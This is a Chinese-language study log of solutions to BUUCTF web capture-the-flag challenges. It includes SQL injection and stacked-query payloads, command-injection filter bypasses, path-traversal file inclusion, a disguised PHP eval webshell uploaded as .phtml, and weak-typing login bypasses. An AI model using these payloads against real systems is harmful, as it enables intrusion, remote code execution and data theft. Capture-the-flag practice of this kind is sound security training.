BUUCTF web review (...ing)
[极客大挑战 2019]EasySQL
万能密码绕过登陆 注意 usename 和 password都要用万能密码
[极客大挑战 2019]Havefun
ctrl+u 发现source.php 审计后传入 cat=dog 即可
[HCTF 2018]WarmUp
发现source.php:
点击查看代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
如何绕过白名单?
完全不会 看WP说的是 由于是在hint.php发现的ffffllllaaaagggg 所以flag在hin.php目录下
又由于include的特性:
以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被
PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’
然后这样构造:
/index.php?file=hint.php?../../../../../ffffllllaaaagggg
只能说见多识广吧...
[ACTF2020 新生赛]Include
ctrl+u 发现 ?file= 故尝试用php伪协议读取flag.php 即可
[ACTF2020 新生赛]Exec
熟悉的ping 构造 127.0.0.1;ls 发现可以命令执行 所以 127.0.0.1;cd /;cat flag 即可
[GXYCTF2019]Ping Ping Ping
$IFS$9绕过空格 只是flag的绕过有点。。。
cat index.php
构造
a=g;cat$IFS$9fla$a.php
其实像
a=ag;cat$IFS$9fl$a.php
j=ag;cat$IFS$9fl$j.php
j=lag;cat$IFS$9f$j.php
这些只用一部分替代都可以 不知道为什么将flag用两个变量拼接就不行...
应该是不能出现 f l a g 的这种顺序
而且为什么不能url编码绕过啊???
[强网杯 2019]随便注
?inject=1 是注入点
尝试 1' and updatexml ... 发现过滤掉了 select
所以只能堆叠注入
?inject=1;show databases; -- -
?inject=1;show tables; -- -
?inject=1;show columns from `1919810931114514`; -- -
最后一步由于不能用slect 可以用一个新姿势
prepare预编译:
?inject=1;prepare hack from concat("selec","t flag from `1919810931114514`");execute hack; -- -
即可
[SUCTF 2019]EasySQL
payload:
*,1
至于怎么猜出后端代码的 现在能力不够 慢慢悟吧
[极客大挑战 2019]Secret File
ctrl+u查看源码 有个 archive room 点进去 有个secret 点击用burpsuite抓包 发现secr3t.php 打开 发现有?file=...
直接php伪协议读取即可
[极客大挑战 2019]LoveSQL
最基本的union联合注入
updatexml虽说也能爆 但是查询 id,username,password的时候只能显示一点点 不知道为什么
[极客大挑战 2019]Http
源码中有个 Secret.php(眼瞎+1)
然后就是一堆基本的用burpsuite修改请求头(referer,user-agent,X-Forwarded-For)的操作
[极客大挑战 2019]Knife
最简单的webshell AntSword打开 密码 Syc 连接 终端 cat /flag 即可
[极客大挑战 2019]Upload
webshell上传
这里要换一种shell写法:
GIF89a
<script language='php'>@eval($_POST['hack']);</script>
然后将 content-type 改掉 用.jpg后缀上传成功
但是尝试改为.php失败 尝试很久发现 .phtml可以 上传成功后 AntSword连接即可
[极客大挑战 2019]BabySQL
fuzz测试 发现将关键词替换为空 所以尝试双写绕过
这题要先查询所有的 schema_name 在ctf下继续爆破
最后 从Flag查询flag时 要加 ctf.Flag
为什么还是不能堆叠注入啊??? 也没过滤show这些关键词啊...
[ACTF2020 新生赛]Upload
这里采用了前端+后端验证
先F12把 return checkfile()改为 return
然后上传原本的hack.php burpsuite抓包 修改后缀为 .phtml AntSword连接即可
[极客大挑战 2019]PHP
源码在 /www.zip 内
点击查看代码
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
[ACTF2020 新生赛]BackupFile
扫描到 /index.php.bak
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
然后简单的一个代码审计
由php的特性 "123sdfasf"会弱类型转换为123 所以 ?key=123 即可
[RoarCTF 2019]Easy Calc
源码提示 calc.php
这里采用? num= 在num前加空格来绕过
? num=1;var_dump(scandir(chr(47)))
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
[极客大挑战 2019]BuyFlag
进入 pay.php burpsuite抓包
user修改为1 然后ctrl+u源码提示POST password=404
加后缀字母弱类型绕过numeric判断
最后 post money=1e10即可
[BJDCTF2020]Easy MD5
password=ffifdyop 绕过登陆
然后
直接传数组即可
第二轮也是一样的绕过 只是改为POST罢了